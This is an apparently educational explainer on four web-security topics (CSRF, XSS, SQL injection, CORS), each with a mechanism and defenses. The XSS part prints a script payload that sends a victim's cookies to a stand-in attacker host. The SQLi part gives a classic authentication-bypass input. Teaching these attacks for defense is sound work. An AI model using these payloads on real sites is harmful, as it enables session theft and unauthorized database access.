Security Threats in System Architecture

Web Security Threats: Common Attack Vectors Even with robust authentication, web applications remain vulnerable to malicious actors who exploit how browsers process code and how databases execute queries. Understanding these four core attack vectors is essential for implementing secure defense-in-depth strategies. 1. CSRF (Cross-Site Request Forgery) CSRF is an attack where a malicious website tricks a user’s browser into executing an unwanted action on a different website where the user is currently authenticated. The Mechanism: Because browsers automatically attach cookies (including session cookies) to requests made to the domain that issued them, a malicious site can force the user's browser to send a request (like POST /transfer-money ) to your legitimate banking application. The server sees the valid session cookie and processes the request, believing the user intended to perform the action. The Defense: * Anti-CSRF Tokens: The server generates a unique, cryptographically strong token for the user's session. Every sensitive request must include this token. Since the malicious site cannot read the token (due to Same-Origin Policy), it cannot include it in the request. SameSite Cookie Attribute: Setting cookies to SameSite=Strict or Lax prevents the browser from sending them with cross-site requests. 2. XSS (Cross-Site Scripting) XSS occurs when an attacker injects malicious client-side scripts (usually JavaScript) into web pages viewed by other users. The Mechanism: The application takes untrusted user input (e. g., a comment field or profile bio) and renders it directly into the HTML without sanitizing it. If an attacker submits <script>document.location='http://attacker.com?cookie='+document.cookie</script> , the browser will execute that script, sending the victim's session cookies to the attacker's server. The Defense: Output Encoding: Always encode user-provided data before rendering it in the DOM (converting < to < , etc. ). Content Security Policy (CSP): A browser-level security layer that restricts which domains can load scripts and prevents the execution of "inline" scripts. 3. SQL Injection (SQLi) SQL Injection is a vulnerability where an attacker inserts malicious SQL code into an input field, which is then concatenated into a database query and executed by the server. The Mechanism: If your code constructs a query like: "SELECT * FROM users WHERE username = '" + userInput + "';" An attacker can input ' OR '1'='1 . The resulting query becomes: SELECT * FROM users WHERE username = '' OR '1'='1'; This bypasses authentication entirely, often returning the first user in the database (usually an admin). The Defense: Parameterized Queries (Prepared Statements): This is the gold standard. The database treats user input strictly as data, never as executable code. ORM Usage: Modern Object-Relational Mappers (like Prisma, Hibernate, or SQLAlchemy) parameterize queries by default. 4. CORS (Cross-Origin Resource Sharing) CORS is not a threat, but rather a security mechanism implemented by browsers. By default, browsers enforce the Same-Origin Policy (SOP) , which forbids a web page from making requests to a different domain than the one that served the page. The Mechanism: If site-a.com tries to fetch data from api.site-b.com , the browser sends an OPTIONS request (a "pre-flight" check). The server must respond with specific headers (e. g., Access-Control-Allow-Origin: https://site-a.com ) to allow the request. If the server does not explicitly permit the origin, the browser blocks the data access. The Common Misconfiguration: Developers often respond to "CORS errors" by setting Access-Control-Allow-Origin: * . This is dangerous, as it allows any website on the internet to read the API's response data, effectively disabling the browser's security protection. Security Threats Reference Matrix Threat Vector Primary Target Primary Defense Strategy Impact Severity CSRF User Session Anti-CSRF Tokens, SameSite cookies. Unauthorized actions on user behalf. XSS User Browser (DOM) Input sanitization, CSP headers. Session hijacking, data theft. SQLi Database Layer Parameterized queries (Prepared Statements). Full database breach/exposure. CORS Cross-domain Data Flow Strict Origin whitelisting (never use * ). Unauthorized data exposure.